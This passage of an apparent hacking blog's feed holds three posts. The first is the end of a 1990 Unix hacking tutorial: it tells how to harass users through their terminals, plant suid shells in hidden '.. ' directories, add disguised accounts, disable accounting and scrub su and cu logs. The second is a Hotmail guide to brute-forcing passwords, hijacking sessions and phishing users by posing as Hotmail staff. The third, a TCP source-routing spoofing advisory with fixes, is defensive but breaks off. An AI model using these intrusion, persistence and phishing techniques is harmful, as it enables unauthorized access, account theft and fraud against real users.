/&gt;have a from line.. (from you ..), but the second WILL NOT!  Since it does&lt;br /&gt;not, the mail reader will keep exiting and giving him an error message until&lt;br /&gt;it gets fixed..  The way to fix it is to go to the mail box that got hit&lt;br /&gt;with this trick (usually only the one who got hit (or root) and do this),&lt;br /&gt;and edit the file, and add a from line.. like&lt;br /&gt;From username..&lt;br /&gt;&lt;br /&gt;then it will be ok.  You can screw the user by "cat"ing a binary to his tty.&lt;br /&gt;say Loozer is on tty12.  You can say..&lt;br /&gt;$ cat binary_file &gt;/dev/tty12&lt;br /&gt;$&lt;br /&gt;It may pause for a while while it outputs it.  If you want to resume what&lt;br /&gt;you were doing instantly, do:&lt;br /&gt;$ cat binary_file &gt;/dev/tty12&amp;amp;&lt;br /&gt;[1] 4690&lt;br /&gt;$&lt;br /&gt;And he will probably logoff.  You can send the output of anything to his&lt;br /&gt;terminal.  Even what YOU do in shell.  Like this:&lt;br /&gt;$ sh &gt;/dev/tty12&lt;br /&gt;$&lt;br /&gt;You'll get your prompts, but you won't see the output of any commands, he&lt;br /&gt;will...&lt;br /&gt;$ ls&lt;br /&gt;$ banner Idiot!&lt;br /&gt;$ echo Dumbass!&lt;br /&gt;$&lt;br /&gt;until you type in exit, or hit ctrl-d.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are many many things you can do.  You can fake a "write" to someone&lt;br /&gt;and make them think it was from somewhere on the other side of hell.  Be&lt;br /&gt;creative.&lt;br /&gt;&lt;br /&gt;When you are looking for things to do, look for holes, or try to get&lt;br /&gt;someone to run a trojan horse that makes a suid shell.  If you get&lt;br /&gt;someone to run a trojan that does that, you can run the suid, and log their&lt;br /&gt;ass off by killing their mother PID.  (kill -9 whatever).  Or, you can&lt;br /&gt;lock them out by adding "kill -1 0" to their .profile.  On the subject of&lt;br /&gt;holes, always look for BAD suid bits.  On one system thought to be invincible&lt;br /&gt;I was able to read/modify everyone's mail, because I used a mailer that had&lt;br /&gt;both the GroupID set, and the UserID set.  When I went to shell from it,&lt;br /&gt;the program instantly changed my Effective ID back to me, so I would not be&lt;br /&gt;able to do anything but my regular stuff.  But it was not designed to change&lt;br /&gt;the GROUP ID back.  The sysop had blundered there.  SO when I did an ID&lt;br /&gt;I found my group to be "Mail".  Mailfiles are readble/writeable by the&lt;br /&gt;user "mail", and the group "mail".  I then set up a sgid (set group id) shell&lt;br /&gt;to change my group id to "mail" when I ran it, and scanned important mail,&lt;br /&gt;and it got me some good info.  So, be on the look out for poor permissions.&lt;br /&gt;&lt;br /&gt;Also, after you gain access, you may want to keep it.  Some tips on doing so&lt;br /&gt;is:&lt;br /&gt;        1. Don't give it out.  If the sysadm sees that joeuser logged in 500&lt;br /&gt;           times in one night....then....&lt;br /&gt;        2. Don't stay on for hours at a time.  They can trace you then. Also&lt;br /&gt;           they will know it is irregular to have joeuser on for 4 hours&lt;br /&gt;           after work.&lt;br /&gt;        3. Don't trash the system.  Don't erase important files, and don't&lt;br /&gt;           hog inodes, or anything like that.  Use the machine for a specific&lt;br /&gt;           purpose (to leech source code, develop programs, an Email site).&lt;br /&gt;           Dont be an asshole, and don't try to erase everything you can.&lt;br /&gt;        4. Don't screw with users constantly.  Watch their processes and&lt;br /&gt;           run what they run.  It may get you good info (snoop!)&lt;br /&gt;        5. If you add an account, first look at the accounts already in there&lt;br /&gt;           If you see a bunch of accounts that are just 3 letter abbrv.'s,&lt;br /&gt;           then make yours so.  If a bunch are "cln, dok, wed" or something,&lt;br /&gt;           don't add one that is "joeuser", add one that is someone's&lt;br /&gt;           full initials.&lt;br /&gt;&lt;br /&gt;        6. When you add an account, put a woman's name in for the&lt;br /&gt;           description, if it fits (Meaning, if only companies log on to the&lt;br /&gt;           unix, put a company name there).  People do not suspect hackers&lt;br /&gt;           to use women's names.  They look for men's names.&lt;br /&gt;        7. Don't cost the Unix machine too much money.  Ie.. don't abuse an&lt;br /&gt;           outdial, or if it controls trunks, do not set up a bunch of dial&lt;br /&gt;           outs.  If there is a pad, don't use it unless you NEED it.&lt;br /&gt;        8. Don't use x.25 pads.  Their usage is heavily logged.&lt;br /&gt;        9. Turn off acct logging (acct off) if you have the access to.&lt;br /&gt;           Turn it on when you are done.&lt;br /&gt;       10. Remove any trojan horses you set up to give you access when you&lt;br /&gt;           get access.&lt;br /&gt;       11. Do NOT change the MOTD file to say "I hacked this system" Just&lt;br /&gt;           thought I'd tell you.  Many MANY people do that, and lose access&lt;br /&gt;           within 2 hours, if the unix is worth a spit.&lt;br /&gt;       12. Use good judgement.  Cover your tracks.  If you use su, clean&lt;br /&gt;           up the sulog.&lt;br /&gt;       13. If you use cu, clean up the cu_log.&lt;br /&gt;       14. If you use the smtp bug (wizard/debug), set up a uid shell.&lt;br /&gt;       15. Hide all suid shells.  Here's how:&lt;br /&gt;           goto /usr&lt;br /&gt;           (or any dir)&lt;br /&gt;           do:&lt;br /&gt;           # mkdir ".. "&lt;br /&gt;           # cd ".. "&lt;br /&gt;           # cp /bin/sh ".whatever"&lt;br /&gt;           # chmod a+s ".whatever"&lt;br /&gt;           The "" are NEEDED to get to the directory ..  !  It will not show&lt;br /&gt;           up in a listing, and it is hard as hell to get to by sysadms if&lt;br /&gt;           you make 4 or 5 spaces in there ("..    "), because all they will&lt;br /&gt;           see in a directory FULL list will be .. and they won't be able to&lt;br /&gt;           get there unless they use "" and know the spacing.  "" is used&lt;br /&gt;           when you want to do literals, or use a wildcard as part of a file&lt;br /&gt;           name.&lt;br /&gt;       16. Don't hog cpu time with password hackers.  They really don't work&lt;br /&gt;           well.&lt;br /&gt;&lt;br /&gt;       17. Don't use too much disk space.  If you archieve something to dl,&lt;br /&gt;           dl it, then kill the archieve.&lt;br /&gt;       18. Basically -- COVER YOUR TRACKS.&lt;br /&gt;&lt;br /&gt;Some final notes:&lt;br /&gt;&lt;br /&gt;Now, I hear lots of rumors and stories like "It is getting harder to get&lt;br /&gt;into systems...".  Wrong. (Yo Pheds! You reading this??).  It IS true&lt;br /&gt;when you are dealing with WAN's, such as telenet, tyment, and the Internet,&lt;br /&gt;but not with local computers not on those networks.  Here's the story:&lt;br /&gt;&lt;br /&gt;Over the past few years, many small companies have sprung up as VARs&lt;br /&gt;(Value Added Resellers) for Unix and Hardware, in order to make a fast&lt;br /&gt;buck.  Now, these companies fast talk companies into buying whatever,&lt;br /&gt;and they proceed in setting up the Unix.  Now, since they get paid by&lt;br /&gt;the hour usaually when setting one up, they spread it out over days....&lt;br /&gt;during these days, the system is WIDE open (if it has a dialin).  Get&lt;br /&gt;in and add yourself to passwd before the seal it off (if they do..).&lt;br /&gt;Then again, after the machine is set up, they leave the defaults on the&lt;br /&gt;system.  Why?  The company needs to get in, and most VARs cannot use&lt;br /&gt;unix worth a shit, all they know how to do is set it up, and that is ALL.&lt;br /&gt;Then, they turn over the system to a company or business that USUALLY&lt;br /&gt;has no-one that knows what they hell they are doing with the thing, except&lt;br /&gt;with menus.  So, they leave the system open to all...(inadvertedly..),&lt;br /&gt;because they are not competant.  So, you could usually get on, and create&lt;br /&gt;havoc, and at first they will think it is a bug..  I have seen this&lt;br /&gt;happen ALL to many times, and it is always the same story...&lt;br /&gt;The VAR is out for a fast buck, so they set up the software (all they know&lt;br /&gt;how to do), and install any software packages ordered with it (following&lt;br /&gt;the step by step instructions).  Then they turn it over to the business&lt;br /&gt;who runs a word processor, or database, or something, un aware that a&lt;br /&gt;"shell" or command line exists, and they probably don't even know root does.&lt;br /&gt;So, we will see more and more of these pop up, especially since AT&amp;amp;T is&lt;br /&gt;now bundling a version of Xwindows with their new System V, and Simultask...&lt;br /&gt;which will lead to even more holes.  You'll find systems local to you&lt;br /&gt;that are easy as hell to get into, and you'll see what I mean.  These&lt;br /&gt;VARs are really actually working for us.  If a security problem arises&lt;br /&gt;that the business is aware of, they call the VAR to fix it... Of course,&lt;br /&gt;the Var gets paid by the hour, and leaves something open so you'll get in&lt;br /&gt;again, and they make more moolahhhh.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can use this phile for whatever you want.  I can't stop you.  Just&lt;br /&gt;to learn unix (heh) or whatever.  But its YOUR ass if you get caught.&lt;br /&gt;Always consider the penalties before you attempt something.  Sometimes&lt;br /&gt;it is not worth it, Sometimes it is.&lt;br /&gt;&lt;br /&gt;This phile was not meant to be comprehensive, even though it may seem like&lt;br /&gt;it.  I have left out a LOT of techniques, and quirks, specifically to get&lt;br /&gt;you to learn SOMETHING on your own, and also to retain information so&lt;br /&gt;I will have some secrets.  You may pass this file on, UNMODIFIED, to any&lt;br /&gt;GOOD H/P BBS.  Sysops can add things to the archieve to say where&lt;br /&gt;it was DL'd from, or to the text viewer for the same purpose.  This is&lt;br /&gt;Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.&lt;br /&gt;&lt;br /&gt;-Sir Hackalot of PHAZE&lt;br /&gt;1990.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-6503241461359759558?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/feDPPwOsmThi6u7LzbdYLJdcD4E/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/feDPPwOsmThi6u7LzbdYLJdcD4E/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/feDPPwOsmThi6u7LzbdYLJdcD4E/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/feDPPwOsmThi6u7LzbdYLJdcD4E/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/kZe7xZ5bGoU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/6503241461359759558/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=6503241461359759558" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/6503241461359759558?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/6503241461359759558?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/kZe7xZ5bGoU/unix-hacking-tutorial.html" title="UNIX : A Hacking Tutorial" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/unix-hacking-tutorial.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMCSXc_eip7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-7569279007869325005</id><published>2008-08-12T08:02:00.000-07:00</published><updated>2008-08-12T08:04:28.942-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:04:28.942-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Hotmail" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><title>Hacking Hotmail</title><content type="html">&lt;hacker@mitchell.demon.nl&gt;HOTMAIL HACKING INFO.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I_1_I  - Brute force hacking&lt;br /&gt;a. Use telnet to connect to port 110 (Hotmail´s pop-server)&lt;br /&gt;b. Type USER and then the victim´s username&lt;br /&gt;c. Type PASS and then the guess a password&lt;br /&gt;d. Repeat that until U have found the correct password.&lt;br /&gt;!. This is called brute force hacking and requires patience.&lt;br /&gt;It´s better than trying to guess the victims password on&lt;br /&gt;hotmail homepage only because it´s faster.&lt;br /&gt;____&lt;br /&gt;I_2_I  - The Best way&lt;br /&gt;a. Get the username of the victim (It usually stands in the adress-field&lt;br /&gt;)&lt;br /&gt;b. Then type " www.hotmail.com/cgi-bin/start/victimsusername "&lt;br /&gt;c. U´re in!&lt;br /&gt;!. This hack only work if U are on the same network or computer as the&lt;br /&gt;victim and if he don´t log out.&lt;br /&gt;____&lt;br /&gt;I_3_I  - The old way&lt;br /&gt;a. Go to http://www.hotmail/proxy.html&lt;br /&gt;b. Now type the victims username. (press login)&lt;br /&gt;c. Look at the source code.&lt;br /&gt;d. On the fifth row U should find "action=someadress"&lt;br /&gt;e. Copy that adress and paste it into the adress-field&lt;br /&gt;f. You are in...&lt;br /&gt;!. As you can see it´s a long procedure and the victim have&lt;br /&gt;plenty of time to log out.&lt;br /&gt;____&lt;br /&gt;I_4_I  - Another...&lt;br /&gt;a. Go to hotmail´s homepage&lt;br /&gt;b. Copy the source code.&lt;br /&gt;c. Make a new html file with the same code but change method=post to&lt;br /&gt;method=enter&lt;br /&gt;d. "view" the page&lt;br /&gt;e. Change the adress to www.hotmail.com/ (don´t press enter!)&lt;br /&gt;f. Make the victim type in his username and password&lt;br /&gt;g. Look in the adress-field. There you´ll see ...&amp;amp;password:something...&lt;br /&gt;!. This is the way I use, because it lets you know the password.&lt;br /&gt;(If he exits the browser U can see the password in the History folder!)&lt;br /&gt;&lt;br /&gt;READ!&lt;br /&gt;Hotmail´s sysops have changed the "system" so that the victim may log&lt;br /&gt;out even&lt;br /&gt;if U are inside his/her account. So don´t waste U´r time!&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;So you want to get some hotmail passwords?&lt;br /&gt;This is pretty easy to do once you have got the hang of it.&lt;br /&gt;If you are a beginner, I wouldn't make this your first attempt at&lt;br /&gt;hacking.  When you need to do is use a port surfer and surf over to&lt;br /&gt;port 80.  While there, you have to try and mail the user that you&lt;br /&gt;want the password from.  It is best to mail them using the words&lt;br /&gt;"We" and "Here at Hotmail..."  Most suckers fall for this and end&lt;br /&gt;up giving out their password.  There is another way to also, you can&lt;br /&gt;get an anon mailer, and forge the addres as staff@hotmail.com.  But&lt;br /&gt;you have to change the reply address to go to a different addres&lt;br /&gt;like user@host.com.  The person that you are trying to get the pass&lt;br /&gt;from MUST respond to that letter for the mail to be forwarded to you.&lt;br /&gt;Have text like "Please reply to this letter with the subject "PASSWORD"&lt;br /&gt;and underneith please include your user name and password.&lt;br /&gt;If you have trouble Loging in withing the next few days, this is&lt;br /&gt;only because we are updating our mail servers but no need to worry,&lt;br /&gt;your mail will still be there.  Even though the server may be down&lt;br /&gt;for an hour.  From the staff at Hotmail, Thank You."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/hacker@mitchell.demon.nl&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-7569279007869325005?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8QPYI0AZBk3X--v21aQfCiYSSXI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8QPYI0AZBk3X--v21aQfCiYSSXI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8QPYI0AZBk3X--v21aQfCiYSSXI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8QPYI0AZBk3X--v21aQfCiYSSXI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/WZpadO0oitw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/7569279007869325005/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=7569279007869325005" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/7569279007869325005?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/7569279007869325005?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/WZpadO0oitw/hacking-hotmail.html" title="Hacking Hotmail" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/hacking-hotmail.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUDSHo4fCp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-4803277934470957445</id><published>2008-08-12T07:59:00.000-07:00</published><updated>2008-08-12T08:01:19.434-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T08:01:19.434-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Attack" /><title>A simple TCP spoofing attack</title><content type="html">Over the past few years TCP sequence number prediction attacks have become a&lt;br /&gt;real threat against unprotected networks, taking advantage of the inherent&lt;br /&gt;trust relationships present in many network installations.  TCP sequence&lt;br /&gt;number prediction attacks have most commonly been implemented by opening a&lt;br /&gt;series of connections to the target host, and attempting to predict the&lt;br /&gt;sequence number which will be used next.  Many operating systems have&lt;br /&gt;therefore attempted to solve this problem by implementing a method of&lt;br /&gt;generating sequence numbers in unpredictable fashions.  This method does&lt;br /&gt;not solve the problem.&lt;br /&gt;&lt;br /&gt;This advisory introduces an alternative method of obtaining the initial&lt;br /&gt;sequence number from some common trusted services.  The attack presented here&lt;br /&gt;does not require the attacker to open multiple connections, or flood a port&lt;br /&gt;on the trusted host to complete the attack.  The only requirement is that&lt;br /&gt;source routed packets can be injected into the target network with fake&lt;br /&gt;source addresses.&lt;br /&gt;&lt;br /&gt;This advisory assumes that the reader already has an understanding of how&lt;br /&gt;TCP sequence number prediction attacks are implemented.&lt;br /&gt;&lt;br /&gt;The impact of this advisory is greatly diminished due to the large number of&lt;br /&gt;organizations which block source routed packets and packets with addresses&lt;br /&gt;inside of their networks.  Therefore we present the information as more of&lt;br /&gt;a 'heads up' message for the technically inclined, and to re-iterate that&lt;br /&gt;the randomization of TCP sequence numbers is not an effective solution&lt;br /&gt;against this attack.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Technical Details&lt;br /&gt;~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;The problem occurs when particular network daemons accept connections&lt;br /&gt;with source routing enabled, and proceed to disable any source routing&lt;br /&gt;options on the connection.  The connection is allowed to continue, however&lt;br /&gt;the reverse route is no longer used.  An example attack can launched against&lt;br /&gt;the in.rshd daemon, which on most systems will retrieve the socket options&lt;br /&gt;via getsockopt() and then turn off any dangerous options via setsockopt().&lt;br /&gt;&lt;br /&gt;An example attack follows.&lt;br /&gt;&lt;br /&gt;Host A is the trusted host&lt;br /&gt;Host B is the target host&lt;br /&gt;Host C is the attacker&lt;br /&gt;&lt;br /&gt;Host C initiates a source routed connection to in.rshd on host B, pretending&lt;br /&gt;to be host A.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A         &lt;syn&gt;    --&gt;  Host B in.rshd&lt;br /&gt;&lt;br /&gt;Host B receives the initial SYN packet, creates a new PCB (protocol&lt;br /&gt;control block) and associates the route with the PCB.  Host B responds,&lt;br /&gt;using the reverse route, sending back a SYN/ACK with the sequence number.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A  &lt;--  &lt;syn/ack&gt;       Host B in.rshd&lt;br /&gt;&lt;br /&gt;Host C responds, still spoofing host A, acknowledging the sequence number.&lt;br /&gt;Source routing options are not required on this packet.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A         &lt;ack&gt;    --&gt;  Host B in.rshd&lt;br /&gt;&lt;br /&gt;We now have an established connection, the accept() call completes, and&lt;br /&gt;control is now passed to the in.rshd daemon.  The daemon now does IP&lt;br /&gt;options checking and determines that we have initiated a source routed&lt;br /&gt;connection.  The daemon now turns off this option, and any packets sent&lt;br /&gt;thereafter will be sent to the real host A, no longer using the reverse&lt;br /&gt;route which we have specified.  Normally this would be safe, however the&lt;br /&gt;attacking host now knows what the next sequence number will be.  Knowing&lt;br /&gt;this sequence number, we can now send a spoofed packet without the source&lt;br /&gt;routing options enabled, pretending to originate from Host A, and our&lt;br /&gt;command will be executed.&lt;br /&gt;&lt;br /&gt;In some conditions the flooding of a port on the real host A is required&lt;br /&gt;if larger ammounts of data are sent, to prevent the real host A from&lt;br /&gt;responding with an RST.  This is not required in most cases when performing&lt;br /&gt;this attack against in.rshd due to the small ammount of data transmitted.&lt;br /&gt;&lt;br /&gt;It should be noted that the sequence number is obtained before accept()&lt;br /&gt;has returned and that this cannot be prevented without turning off source&lt;br /&gt;routing in the kernel.&lt;br /&gt;&lt;br /&gt;As a side note, we're very lucky that TCP only associates a source route with&lt;br /&gt;a PCB when the initial SYN is received.  If it accepted and changed the ip&lt;br /&gt;options at any point during a connection, more exotic attacks may be possible.&lt;br /&gt;These could include hijacking connections across the internet without playing&lt;br /&gt;a man in the middle attack and being able to bypass IP options checking&lt;br /&gt;imposed by daemons using getsockopt().  Luckily *BSD based TCP/IP stacks will&lt;br /&gt;not do this, however it would be interesting to examine other implementations.&lt;br /&gt;&lt;br /&gt;Impact&lt;br /&gt;~~~~~~&lt;br /&gt;&lt;br /&gt;The impact of this attack is similar to the more complex TCP sequence&lt;br /&gt;number prediction attack, yet it involves fewer steps, and does not require&lt;br /&gt;us to 'guess' the sequence number.  This allows an attacker to execute&lt;br /&gt;arbitrary commands as root, depending on the configuration of the target&lt;br /&gt;system.  It is required that trust is present here, as an example, the use&lt;br /&gt;of .rhosts or hosts.equiv files.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Solutions&lt;br /&gt;~~~~~~~~~&lt;br /&gt;&lt;br /&gt;The ideal solution to this problem is to have any services which rely on&lt;br /&gt;IP based authentication drop the connection completely when initially&lt;br /&gt;detecting that source routed options are present.  Network administrators&lt;br /&gt;and users can take precautions to prevent users outside of their network&lt;br /&gt;from taking advantage of this problem.  The solutions are hopefully already&lt;br /&gt;either implemented or being implemented.&lt;br /&gt;&lt;br /&gt;1. Block any source routed connections into your networks&lt;br /&gt;2. Block any packets with internal based address from entering your network.&lt;br /&gt;&lt;br /&gt;Network administrators should be aware that these attacks can easily be&lt;br /&gt;launched from behind filtering routers and firewalls.  Internet service&lt;br /&gt;providers and corporations should ensure that internal users cannot launch&lt;br /&gt;the described attacks.  The precautions suggested above should be implemented&lt;br /&gt;to protect internal networks.&lt;br /&gt;&lt;br /&gt;Example code to correctly process source routed packets is presented here&lt;br /&gt;as an example.  Please let us know if there are any problems with it.&lt;br /&gt;This code has been tested on BSD based operating systems.&lt;br /&gt;&lt;br /&gt;        u_char optbuf[BUFSIZ/3];&lt;br /&gt;        int optsize = sizeof(optbuf), ipproto, i;&lt;br /&gt;        struct protoent *ip;&lt;br /&gt;&lt;br /&gt;        if ((ip = getprotobyname("ip")) != NULL)&lt;br /&gt;                ipproto = ip-&gt;p_proto;&lt;br /&gt;        else&lt;br /&gt;                ipproto = IPPROTO_IP;&lt;br /&gt;        if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &amp;amp;optsize) &amp;amp;&amp;amp;&lt;br /&gt;            optsize != 0) {&lt;br /&gt;                for (i = 0; i &lt; optsize; ) {&lt;br /&gt;                        u_char c = optbuf[i];&lt;br /&gt;                        if (c == IPOPT_LSRR || c == IPOPT_SSRR)&lt;br /&gt;                                exit(1);&lt;br /&gt;                        if (c == IPOPT_EOL)&lt;br /&gt;                                break;&lt;br /&gt;                        i += (c == IPOPT_NOP) ? 1 : optbuf[i+1];&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;One critical concern is in the case where TCP wrappers are being used.  If&lt;br /&gt;a user is relying on TCP wrappers, the above fix should be incorporated into&lt;br /&gt;fix_options.c.  The problem being that TCP wrappers itself does not close&lt;br /&gt;the connection, however removes the options via setsockopt().  In this case&lt;br /&gt;when control is passed to in.rshd, it will never see any options present,&lt;br /&gt;and the connection will remain open (even if in.rshd has the above patch&lt;br /&gt;incorporated).  An option to completely drop source routed connections will&lt;br /&gt;hopefully be provided in the next release of TCP wrappers.  The other option&lt;br /&gt;is to undefine KILL_IP_OPTIONS, which appears to be undefined by default.&lt;br /&gt;This passes through IP options and allows the called daemon to handle them&lt;br /&gt;accordingly.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Disabling Source Routing&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;We believe the following information to be accurate, however it is not&lt;br /&gt;guaranteed.&lt;br /&gt;&lt;br /&gt;--- Cisco&lt;br /&gt;&lt;br /&gt;To have the router discard any datagram containing an IP source route option&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;no ip source-route&lt;br /&gt;&lt;br /&gt;This is a global configuration option.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- NetBSD&lt;br /&gt;&lt;br /&gt;Versions of NetBSD prior to 1.2 did not provide the capability for disabling&lt;br /&gt;source routing.  Other versions ship with source routing ENABLED by default.&lt;br /&gt;We do not know of a way to prevent NetBSD from accepting source routed packets.&lt;br /&gt;NetBSD systems, however, can be configured to prevent the forwarding of packets&lt;br /&gt;when acting as a gateway.&lt;br /&gt;&lt;br /&gt;To determine whether forwarding of source routed packets is enabled,&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.forwarding&lt;br /&gt;# sysctl net.inet.ip.forwsrcrt&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.&lt;br /&gt;&lt;br /&gt;Forwarding of source routed packets can be turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwsrcrt=0&lt;br /&gt;&lt;br /&gt;Forwarding of all packets in general can turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwarding=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- BSD/OS&lt;br /&gt;&lt;br /&gt;BSDI has made a patch availible for rshd, rlogind, tcpd and nfsd.  This&lt;br /&gt;patch is availible at:&lt;br /&gt;&lt;br /&gt;ftp://ftp.bsdi.com/bsdi/patches/patches-2.1&lt;br /&gt;&lt;br /&gt;OR via their patches email server &lt;patches@bsdi.com&gt;&lt;br /&gt;&lt;br /&gt;The patch number is&lt;br /&gt;U210-037 (normal version)&lt;br /&gt;D210-037 (domestic version for sites running kerberized version)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BSD/OS 2.1 has source routing disabled by default&lt;br /&gt;&lt;br /&gt;Previous versions ship with source routing ENABLED by default.  As far as&lt;br /&gt;we know, BSD/OS cannot be configured to drop source routed packets destined&lt;br /&gt;for itself, however can be configured to prevent the forwarding of such&lt;br /&gt;packets when acting as a gateway.&lt;br /&gt;&lt;br /&gt;To determine whether forwarding of source routed packets is enabled,&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.forwarding&lt;br /&gt;# sysctl net.inet.ip.forwsrcrt&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.&lt;br /&gt;&lt;br /&gt;Forwarding of source routed packets can be turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwsrcrt=0&lt;br /&gt;&lt;br /&gt;Forwarding of all packets in general can turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwarding=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- OpenBSD&lt;br /&gt;&lt;br /&gt;Ships with source routing turned off by default.  To determine whether source&lt;br /&gt;routing is enabled, the following command can be issued:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.sourceroute&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning that source routing is off,&lt;br /&gt;and 1 meaning it is on.  If source routing has been turned on, turn off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.sourceroute=0&lt;br /&gt;&lt;br /&gt;This will prevent OpenBSD from forwarding and accepting any source routed&lt;br /&gt;packets.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- FreeBSD&lt;br /&gt;&lt;br /&gt;Ships with source routing turned off by default.  To determine whether source&lt;br /&gt;routing is enabled, the following command can be issued:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.sourceroute&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning that source routing is off,&lt;br /&gt;and 1 meaning it is on.  If source routing has been turned on, turn off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.sourceroute=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- Linux&lt;br /&gt;&lt;br /&gt;Linux by default has source routing disabled in the kernel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- Solaris 2.x&lt;br /&gt;&lt;br /&gt;Ships with source routing enabled by default.  Solaris 2.5.1 is one of the&lt;br /&gt;few commercial operating systems that does have unpredictable sequence&lt;br /&gt;numbers, which does not help in this attack.&lt;br /&gt;&lt;br /&gt;We know of no method to prevent Solaris from accepting source routed&lt;br /&gt;connections, however, Solaris systems acting as gateways can be prevented&lt;br /&gt;from forwarding any source routed packets via the following commands:&lt;br /&gt;&lt;br /&gt;# ndd -set /dev/ip ip_forward_src_routed 0&lt;br /&gt;&lt;br /&gt;You can prevent forwarding of all packets 